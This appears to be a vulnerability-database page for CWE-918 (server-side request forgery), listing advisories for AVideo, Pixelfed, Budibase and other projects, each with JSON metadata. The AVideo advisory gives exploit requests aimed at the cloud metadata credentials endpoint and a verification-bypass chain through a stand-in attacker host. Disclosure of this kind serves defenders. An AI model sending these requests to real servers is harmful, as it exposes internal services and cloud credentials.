CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-5CCR-67RQ-V275
Vulnerability from github – Published: 2026-09-15 18:32 – Updated: 2026-09-15 18:32AVideo through 29.0 contains an unauthenticated server-side request forgery vulnerability in the check_site_availability function that accepts attacker-controlled HTTP Host headers. Attackers can send requests to submitIndex.php or ajax.php with arbitrary Host headers to probe internal network hosts and ports, following redirects without authentication.
{
"affected": [],
"aliases": [
"CVE-2026-91966"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T16:17:52Z",
"severity": "MODERATE"
},
"details": "AVideo through 29.0 contains an unauthenticated server-side request forgery vulnerability in the check_site_availability function that accepts attacker-controlled HTTP Host headers. Attackers can send requests to submitIndex.php or ajax.php with arbitrary Host headers to probe internal network hosts and ports, following redirects without authentication.",
"id": "GHSA-5ccr-67rq-v275",
"modified": "2026-09-15T18:32:29Z",
"published": "2026-09-15T18:32:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-rqg6-qcjv-55w5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91966"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/avideo-through-29.0-unauthenticated-ssrf-via-host-header"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5CFC-GVXJ-5R55
Vulnerability from github – Published: 2026-08-05 12:31 – Updated: 2026-08-05 12:31Pixelfed's SearchController (behind the auth middleware) accepts a URL via its remote-search parameters and fetches it server-side through ActivityPubFetchService, whose validateUrl() only blocks the literal hosts 127.0.0.1, localhost, and ::1 and requires https, without checking the resolved IP against private, internal, or link-local ranges (e.g. 169.254.169.254). Optional DNS validation is disabled by default and, when enabled, only confirms a DNS record exists without filtering by IP range. The fetch response body is returned to the requester only when the Content-Type matches an ActivityPub content type, making this a semi-blind but authenticated SSRF primitive reachable by any logged-in user.
{
"affected": [],
"aliases": [
"CVE-2026-71246"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T11:16:27Z",
"severity": "MODERATE"
},
"details": "Pixelfed\u0027s SearchController (behind the auth middleware) accepts a URL via its remote-search parameters and fetches it server-side through ActivityPubFetchService, whose validateUrl() only blocks the literal hosts 127.0.0.1, localhost, and ::1 and requires https, without checking the resolved IP against private, internal, or link-local ranges (e.g. 169.254.169.254). Optional DNS validation is disabled by default and, when enabled, only confirms a DNS record exists without filtering by IP range. The fetch response body is returned to the requester only when the Content-Type matches an ActivityPub content type, making this a semi-blind but authenticated SSRF primitive reachable by any logged-in user.",
"id": "GHSA-5cfc-gvxj-5r55",
"modified": "2026-08-05T12:31:32Z",
"published": "2026-08-05T12:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71246"
},
{
"type": "WEB",
"url": "https://github.com/pixelfed/pixelfed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5CWX-G8MG-7V9C
Vulnerability from github – Published: 2024-06-05 12:31 – Updated: 2024-06-05 12:31Grafana OnCall is an easy-to-use on-call management tool that will help reduce toil in on-call management through simpler workflows and interfaces that are tailored specifically for engineers.
Grafana OnCall, from version 1.1.37 before 1.5.2 are vulnerable to a Server Side Request Forgery (SSRF) vulnerability in the webhook functionallity.
This issue was fixed in version 1.5.2
{
"affected": [],
"aliases": [
"CVE-2024-5526"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-05T12:15:10Z",
"severity": "HIGH"
},
"details": "Grafana OnCall is an easy-to-use on-call management tool that will help reduce toil in on-call management through simpler workflows and interfaces that are tailored specifically for engineers.\n\nGrafana OnCall, from version 1.1.37 before 1.5.2 are vulnerable to a Server Side Request Forgery (SSRF) vulnerability in the webhook functionallity. \n\nThis issue was fixed in version 1.5.2",
"id": "GHSA-5cwx-g8mg-7v9c",
"modified": "2024-06-05T12:31:51Z",
"published": "2024-06-05T12:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5526"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2024-5526"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5F4W-GFF5-9W6X
Vulnerability from github – Published: 2022-05-17 00:01 – Updated: 2022-05-26 00:01SSRF on /proxy in GitHub repository jgraph/drawio prior to 18.0.4. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2022-1713"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-16T15:15:00Z",
"severity": "HIGH"
},
"details": "SSRF on /proxy in GitHub repository jgraph/drawio prior to 18.0.4. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information.",
"id": "GHSA-5f4w-gff5-9w6x",
"modified": "2022-05-26T00:01:34Z",
"published": "2022-05-17T00:01:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1713"
},
{
"type": "WEB",
"url": "https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5F79-VHR4-VW2R
Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2025-03-04 18:10Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.6"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.5-p1"
},
{
"fixed": "2.4.5-p3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.4-p1"
},
{
"fixed": "2.4.4-p4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.5"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.4"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/project-community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29291"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-04T18:10:12Z",
"nvd_published_at": "2023-06-15T19:15:10Z",
"severity": "MODERATE"
},
"details": "Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.",
"id": "GHSA-5f79-vhr4-vw2r",
"modified": "2025-03-04T18:10:12Z",
"published": "2023-06-15T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29291"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Magento Open Source allows Server-Side Request Forgery (SSRF)"
}
GHSA-5F7V-4F6G-74RJ
Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-03-25 18:49Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
Root Cause
- User-controlled URL base: When the configuration file does not exist (standalone deployment),
$streamerURLis set directly from$_REQUEST['webSiteRootURL']with no validation. - No URL allowlisting or scheme restriction: The value is used as-is in a
file_get_contents()call. There is no check forhttp/httpsscheme only, no private IP blocking, and no domain allowlist. - Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.
Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
- Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.
- Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall.
- Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.
Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
-
The attacker sets up a server at
https://attacker.example.com/with the path:/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.phpThat returns:json {"error": false, "response": {"key": "attacker_controlled_value"}} -
The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php
webSiteRootURL=https://attacker.example.com/&saveDVR=anything ```
-
The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
-
The
keyvalue from the response flows into shell commands: - Line 55:
$DVRFile = "{$hls_path}{$key}";— used inexec()at line 80 (thoughescapeshellarg()is applied to the path components) - Line 72:
$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";— used withoutescapeshellarg()in:- Line 119:
exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157:
exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y"); - Line 167:
exec("rm -R {$tmpDVRDir}");
- Line 119:
The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:
- The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.
- The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.
- The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.
Impact
- SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
- Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
- Potential Command Execution: While the regex on
$keylimits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.
Suggested Fix
- Remove the user-controlled
webSiteRootURLfallback entirely. Require$streamerURLto be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:
```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // }
// If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ```
-
If the parameter must remain for backward compatibility, validate it:
php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } -
Apply
escapeshellarg()to all variables used inexec()calls, including$DVRFileTargetat lines 119, 157, and$tmpDVRDirat line 167.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33351"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:13:26Z",
"nvd_published_at": "2026-03-23T14:16:33Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n include_once $configFile;\n $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027]; // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL); // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n ```\n /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n ```\n That returns:\n ```json\n {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n ```\n\n2. The attacker sends:\n ```\n POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n ```php\n // Remove this block:\n // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n // $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n // }\n\n // If $streamerURL is still empty, abort:\n if (empty($streamerURL)) {\n error_log(\"saveDVR: streamerURL is not configured\");\n die(\u0027saveDVR: Server not configured\u0027);\n }\n ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n ```php\n if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n // Resolve hostname and block private/reserved IPs\n $host = parse_url($url, PHP_URL_HOST);\n $ip = gethostbyname($host);\n if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n die(\u0027saveDVR: Invalid URL\u0027);\n }\n $streamerURL = $url;\n }\n }\n ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
"id": "GHSA-5f7v-4f6g-74rj",
"modified": "2026-03-25T18:49:00Z",
"published": "2026-03-19T19:13:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass"
}
GHSA-5FHX-9JWJ-867M
Vulnerability from github – Published: 2026-04-16 20:41 – Updated: 2026-04-16 20:41Impact
The ALLOWED_ASSET_DOMAINS setting applied only to the first issued requests and didn't restrict possible redirects.
Patches
- https://github.com/WeblateOrg/weblate/pull/18550
References
This issue was reported by @spbavarva via GitHub.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "weblate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33440"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T20:41:59Z",
"nvd_published_at": "2026-04-15T19:16:35Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe ALLOWED_ASSET_DOMAINS setting applied only to the first issued requests and didn\u0027t restrict possible redirects.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/18550\n\n### References\nThis issue was reported by @spbavarva via GitHub.",
"id": "GHSA-5fhx-9jwj-867m",
"modified": "2026-04-16T20:41:59Z",
"published": "2026-04-16T20:41:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-5fhx-9jwj-867m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33440"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/pull/18550"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/commit/8be80625a864c8db5854503872a65e8a0b7399a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/WeblateOrg/weblate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Weblate: Authenticated SSRF via redirect bypass of ALLOWED_ASSET_DOMAINS in screenshot URL uploads"
}
GHSA-5FJJ-CFH2-GHC5
Vulnerability from github – Published: 2021-04-13 15:25 – Updated: 2021-04-06 22:34An unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.0"
},
"package": {
"ecosystem": "npm",
"name": "jsreport"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8128"
],
"database_specific": {
"cwe_ids": [
"CWE-829",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-06T22:34:40Z",
"nvd_published_at": "2020-02-14T22:15:00Z",
"severity": "HIGH"
},
"details": "An unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code.",
"id": "GHSA-5fjj-cfh2-ghc5",
"modified": "2021-04-06T22:34:40Z",
"published": "2021-04-13T15:25:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8128"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/660565"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery and Inclusion of Functionality from Untrusted Control Sphere in jsreport"
}
GHSA-5FPJ-28RV-84R7
Vulnerability from github – Published: 2026-08-14 19:18 – Updated: 2026-08-14 19:18Summary
Budibase automation steps (outgoing webhook, Zapier, n8n, Slack, Discord, Make.com) make server-side HTTP requests to user-provided URLs using node-fetch directly, completely bypassing the IP blacklist protection that exists in the REST API integration. Additionally, the REST API blacklist itself defaults to empty when BLACKLIST_IPS is not configured.
Vulnerable Code
Automation Steps (No Blacklist)
All automation steps use fetch() directly without any IP validation:
packages/server/src/automations/steps/outgoingWebhook.ts line 69:
const response = await fetch(url, request) // No blacklist check
packages/server/src/automations/steps/zapier.ts line 34:
response = await fetch(url, {method: "post", ...}) // No blacklist check
packages/server/src/automations/steps/n8n.ts line 53:
response = await fetch(url, request) // No blacklist check
packages/server/src/automations/steps/slack.ts line 20:
response = await fetch(url, {method: "post", ...}) // No blacklist check
packages/server/src/automations/steps/discord.ts line 29:
response = await fetch(url, {method: "post", ...}) // No blacklist check
REST API Integration (Empty Default Blacklist)
packages/server/src/integrations/rest.ts line 684:
if (await blacklist.isBlacklisted(url)) {
throw new Error("Cannot connect to URL.")
}
But BLACKLIST_IPS env var defaults to undefined, so the blacklist is empty:
packages/backend-core/src/blacklist/blacklist.ts lines 39-45:
if (blackListArray?.length === 0) {
return false // Always passes when no IPs configured
}
Impact
- Automation steps: ANY user can create automations with webhook/Zapier/n8n/Slack/Discord steps pointing to internal IPs. These completely bypass the blacklist module
- REST API: Even when BLACKLIST_IPS is configured, it only blocks listed IPs. Default deployments have no protection.
- Cloud metadata:
http://169.254.169.254/latest/meta-data/accessible via any automation step - Internal services: Access databases, admin panels, Kubernetes API on private IPs
Remediation
- Apply blacklist checks to ALL outbound HTTP requests, including automation steps
- Add hardcoded default private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
- Use a centralized HTTP client wrapper instead of direct
fetch()calls - SSRF protection should be on by default, not opt-in via environment variable
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.41.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35219"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-14T19:18:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nBudibase automation steps (outgoing webhook, Zapier, n8n, Slack, Discord, Make.com) make server-side HTTP requests to user-provided URLs using `node-fetch` directly, completely bypassing the IP blacklist protection that exists in the REST API integration. Additionally, the REST API blacklist itself defaults to empty when `BLACKLIST_IPS` is not configured.\n\n## Vulnerable Code\n\n### Automation Steps (No Blacklist)\n\nAll automation steps use `fetch()` directly without any IP validation:\n\n**`packages/server/src/automations/steps/outgoingWebhook.ts` line 69:**\n```typescript\nconst response = await fetch(url, request) // No blacklist check\n```\n\n**`packages/server/src/automations/steps/zapier.ts` line 34:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...}) // No blacklist check\n```\n\n**`packages/server/src/automations/steps/n8n.ts` line 53:**\n```typescript\nresponse = await fetch(url, request) // No blacklist check\n```\n\n**`packages/server/src/automations/steps/slack.ts` line 20:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...}) // No blacklist check\n```\n\n**`packages/server/src/automations/steps/discord.ts` line 29:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...}) // No blacklist check\n```\n\n### REST API Integration (Empty Default Blacklist)\n\n**`packages/server/src/integrations/rest.ts` line 684:**\n```typescript\nif (await blacklist.isBlacklisted(url)) {\n throw new Error(\"Cannot connect to URL.\")\n}\n```\n\nBut `BLACKLIST_IPS` env var defaults to undefined, so the blacklist is empty:\n\n**`packages/backend-core/src/blacklist/blacklist.ts` lines 39-45:**\n```typescript\nif (blackListArray?.length === 0) {\n return false // Always passes when no IPs configured\n}\n```\n\n## Impact\n\n- **Automation steps**: ANY user can create automations with webhook/Zapier/n8n/Slack/Discord steps pointing to internal IPs. These completely bypass the blacklist module\n- **REST API**: Even when BLACKLIST_IPS is configured, it only blocks listed IPs. Default deployments have no protection.\n- **Cloud metadata**: `http://169.254.169.254/latest/meta-data/` accessible via any automation step\n- 